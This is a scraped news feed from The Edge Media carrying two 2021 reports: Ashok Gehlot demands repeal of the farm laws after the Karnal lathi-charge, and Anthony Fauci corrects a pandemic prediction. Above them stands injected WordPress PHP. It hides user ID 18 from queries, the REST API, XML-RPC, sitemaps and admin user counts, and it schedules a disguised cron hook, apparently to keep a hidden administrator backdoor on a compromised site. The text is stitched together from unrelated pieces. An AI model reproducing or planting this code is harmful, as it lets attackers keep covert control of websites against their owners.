add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ashok Gehlot asks Centre to repeal its three farm laws and apologise to farmers appeared first on The Edge Media.
]]>“The manner in which farmers were attacked in Karnal of Haryana is condemnable. With such brutal actions, an atmosphere is being created to instigate farmers across the country,” Mr Gehlot tweeted.
Around 10 people were injured on Saturday as police allegedly lathi-charged a group of farmers disrupting traffic movement on a national highway while heading towards Karnal to protest against a BJP meeting.
Mr Gehlot said Haryana Chief Minister ML Khattar and Deputy Chief Minister Dushyant Chautala are giving statements that do not make any sense.
He said the Haryana government officials are giving instructions for violent actions against farmers and the entire country is condemning the police lathi-charge at farmers but the Haryana government is taking no action against such officers.
“The Modi government should not test the farmers’ patience and immediately repeal the agricultural laws and apologise to the farmers,” Mr Gehlot said.
Enacted in September last year, the three farm laws have been projected by the Centre as major reforms in the agriculture sector that will remove the middlemen and allow farmers to sell their products anywhere in the country.
The protesting farmers, however, have expressed fears that the legislation would pave the way for eliminating the safety cushion of Minimum Support Price and do away with the mandi system, leaving them at the mercy of big corporates.
The post Ashok Gehlot asks Centre to repeal its three farm laws and apologise to farmers appeared first on The Edge Media.
]]>The post Dr Anthony Fauci clarifies his words appeared first on The Edge Media.
]]>“I have to apologise,” Fauci told CNN’s Anderson Cooper when asked about his prediction. “When I listened to the tape, I meant to say the Spring of 2022, so I did misspeak.”
Fauci clarified he wanted to say if the country gets through “this winter” and the overwhelming majority of the 90 million unvaccinated people get vaccinated, the US could start to get some good control in the “Spring of 2022”. The United States is witnessing another Covid-19 wave largely driven by the highly contagious Delta variant as about 90 million eligible people remain unvaccinated.
On Monday, Fauci told NPR that it is difficult to correctly predict the curve of the pandemic when 90 million people are unvaccinated. He said there is the possibility of the coronavirus continuing to circulate, mutate, form more variants and take the country back to a similar or worse situation caused by the Delta variant.
The United States continues to report one of the highest daily new Covid-19 cases, overall as well as per capita. According to the latest epidemiological update by the World Health Organization (WHO), the highest numbers of new cases from August 9 – August 15 were reported by the US, Iran and India. However, the highest numbers of new deaths in the same week were reported by Indonesia, Brazil and Russia.
The post Dr Anthony Fauci clarifies his words appeared first on The Edge Media.
]]>